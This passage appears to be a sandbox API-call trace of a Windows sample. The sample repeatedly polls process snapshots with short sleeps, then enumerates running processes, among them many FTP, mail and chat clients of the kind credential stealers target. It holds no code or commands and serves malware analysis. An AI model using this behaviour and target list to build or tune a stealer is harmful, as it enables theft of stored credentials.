(in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.033] Sleep (dwMilliseconds=0x64) [0270.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0270.116] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.184] Sleep (dwMilliseconds=0x64) [0270.186] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0270.199] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.416] Sleep (dwMilliseconds=0x64) [0270.421] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0270.437] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.551] Sleep (dwMilliseconds=0x64) [0270.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0270.574] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.684] Sleep (dwMilliseconds=0x64) [0270.694] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0270.707] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.809] Sleep (dwMilliseconds=0x64) [0270.813] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0270.825] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.892] Sleep (dwMilliseconds=0x64) [0270.894] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0270.940] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.005] Sleep (dwMilliseconds=0x64) [0271.014] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0271.027] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.125] Sleep (dwMilliseconds=0x64) [0271.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0271.143] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.259] Sleep (dwMilliseconds=0x64) [0271.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0271.281] Process32First (in: hSnapshot=0x21c4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.384] Sleep (dwMilliseconds=0x64) [0271.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0271.413] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.541] Sleep (dwMilliseconds=0x64) [0271.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0271.560] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.680] Sleep (dwMilliseconds=0x64) [0271.681] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0271.694] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.779] Sleep (dwMilliseconds=0x64) [0271.781] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0271.828] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.941] Sleep (dwMilliseconds=0x64) [0271.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.002] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.069] Sleep (dwMilliseconds=0x64) [0272.071] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.088] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.191] Sleep (dwMilliseconds=0x64) [0272.201] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.213] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.329] Sleep (dwMilliseconds=0x64) [0272.330] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.347] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.472] Sleep (dwMilliseconds=0x64) [0272.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.492] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.598] Sleep (dwMilliseconds=0x64) [0272.608] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.621] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.728] Sleep (dwMilliseconds=0x64) [0272.737] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.789] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.892] Sleep (dwMilliseconds=0x64) [0272.897] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0272.971] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.063] Sleep (dwMilliseconds=0x64) [0273.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0273.085] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.184] Sleep (dwMilliseconds=0x64) [0273.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0273.201] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.299] Sleep (dwMilliseconds=0x64) [0273.301] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0273.322] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.398] Sleep (dwMilliseconds=0x64) [0273.400] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0273.415] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.531] Sleep (dwMilliseconds=0x64) [0273.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0273.548] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.659] Sleep (dwMilliseconds=0x64) [0273.670] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b8 [0273.683] Process32First (in: hSnapshot=0x10b8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.804] Sleep (dwMilliseconds=0x64) [0273.811] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0273.827] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.000] Sleep (dwMilliseconds=0x64) [0274.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0274.016] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.121] Sleep (dwMilliseconds=0x64) [0274.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0274.135] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.200] Sleep (dwMilliseconds=0x64) [0274.204] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0274.226] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.324] Sleep (dwMilliseconds=0x64) [0274.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0274.349] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.447] Sleep (dwMilliseconds=0x64) [0274.449] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0274.461] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.559] Sleep (dwMilliseconds=0x64) [0274.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0274.576] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.701] Sleep (dwMilliseconds=0x64) [0274.704] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1978 [0274.720] Process32First (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.759] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0274.761] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0274.764] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0274.766] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0274.769] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0274.772] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0274.774] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0274.777] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0274.779] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0274.782] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0274.784] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0274.787] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0274.789] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0274.792] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0274.795] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0274.798] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0274.800] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0274.803] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0274.836] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0274.838] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0274.841] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0274.843] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0274.846] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0274.848] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0274.851] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0274.854] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0274.856] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0274.858] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0274.861] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0274.863] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0274.867] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0274.870] Process32Next (in: hSnapshot=0x1978, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 